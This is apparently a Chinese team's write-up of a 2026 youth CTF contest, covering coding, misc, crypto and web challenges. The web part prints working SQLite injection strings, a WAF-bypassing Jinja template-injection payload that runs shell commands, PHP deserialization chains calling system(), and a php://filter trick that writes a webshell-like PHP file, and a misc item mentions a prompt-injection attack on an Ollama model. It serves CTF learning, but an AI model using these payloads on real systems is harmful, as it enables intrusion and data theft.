[实战记录]青少年CTF-S1·2026公益赛丨赛题WP
[实战记录]青少年 CTF S1 · 2026 公益赛丨赛题 WP
队伍名:逍遥
编程题
两数之和
1 | import socket |
回文数
1 | import socket |
罗马数字转整数
1 | import socket |
上下火车
1 | import socket |
Misc
QSNCTF
关注中学生 CTF 回复 qsnctf 即可
Ollama Prompt Injection
提示词注入,按顺序使用提示词


得到 flag

灵异事件?
脚本梭
1 | # 定义待转换的二进制字符串 |
玫坏的压缩包
先将拓展名改为 zip,解压后再改为 doc,使用 WPS 的文件修复解出

Crypto
Four Ways to the Truth
1 | import math |
0x42F
https://txtmoji.com/解码,密码 1071,是题目标题

Half a Key
脚本梭
1 | import math |
NO ASCII
URL 解码
flag{青少年 CTF 欢迎你}
WEB
S1 签到
输入群里的 key,得到 flag 即可
silent-logger
ezSQLite 注入
1 | -1' UNION SELECT 1,group_concat(tbl_name),3 FROM sqlite_master WHERE type='table'_--_ |

1 | -1' UNION SELECT 1,sql,3 FROM sqlite_master WHERE name='flags'-- |

1 | -1' UNION SELECT 1,value,3 FROM flags -- |

CallBack
1 | <?php |
array_map($callback, $someArray),意为使第二个参数传入的数组中每一个元素都作为参数传入第一个参数对应的函数
传入 phpinfo
1 | ?callback=phpinfo |
在环境变量中获得 flag

答案之书
简单 ssti 注入,过滤了 config 和双下划线还有 os,popen
这里用 fengjing 绕 WAF 是可以的,手注当然也行
1 | {%print(url_for['_'+'_glo'+'bals_'+'_']['o'+'s']['po'+'pen']('cat /fl*').read())%} |
过

preg_replace
1 | <?php |
当 preg_replace() 使用 /e 修饰符(已被 PHP 7.0 废弃,7.2 移除)时,替换后的字符串会被当作 PHP 代码执行。
1 |
|
这里没法直接传 system(‘cat /flag’),会因为这个特性的引号嵌套问题执行不了
1 | // 当输入 system('cat /flag') 时 |
传入双引号,又有 waf,双引号直接被替换

于是使用反引号,通过

easy_php
反序列化问题,存在权限修饰
1 |
|
链子很短,就两个类,得到 EXP:
1 |
|
1 | O:7:"Monitor":2:{s:6:"status";s:6:"danger";s:8:"reporter";O:6:"Screen":2:{s:7:"content";s:8:"cat /fl*";s:6:"format";s:6:"system";}} |
加上权限修饰
1 | O:7:"Monitor":2:{s:15:"%00Monitor%00status";s:6:"danger";s:17:"%00Monitor%00reporter";O:6:"Screen":2:{s:7:"content";s:8:"cat /fl*";s:6:"format";s:6:"system";}} |
即得 flag

时间胶囊留言板
随便输入内容和日期,抓包

发现路由
1 | GET /get_content.php?id=3 HTTP/1.1 |
访问路由
1 | /get_content.php?id=2 |
即得 flag

Serialization
反序列化 + 文件包含,死亡绕过,这题比较精彩
https://www.cnblogs.com/hithub/p/16849600.html
1 |
|
重头戏是这个函数
1 | public function process() { |
文件中含有死亡过滤,我们必须用编码写入的方式绕过它,使用 php://伪协议写入 233.php
1 | $c->content="PD9waHAgZWNobyBgbHMgL2A7"; |
这里需要注意我们需要一并用到 string.strip_tags 这个过滤器,删除既有的 <?php ?>,因为 base64 解码的规则随环境而变化,很可能遇到这样无法解码的标签就自动跳过,使得在解析我们写好了之后的程序时,看见了没有解码的 ?>,结束了程序
整个反序列化的结果由这个脚本运行出来,因为全是 public,所以不需要修改权限修饰
1 |
|
得到
1 | O:8:"AuditLog":1:{s:7:"handler";O:9:"FileCache":2:{s:8:"filePath";s:75:"php://filter/write=string.strip_tags|convert.base64-decode/resource=233.php";s:7:"content";s:24:"PD9waHAgZWNobyBgbHMgL2A7";}} |
其中
1 | PD9waHAgZWNobyBgbHMgL2A7 => echo `ls /`; |
注意这里不用经过 b 路径来执行程序,可以直接非预期 url 访问
1 | http://challenge.qsnctf.com:45961/233.php |
就可以看到执行结果了

![CVE-2022-47615[任意文件读取]](/img/BqvBbcdufoB3S8xJ1FQcnMsenkh.png)

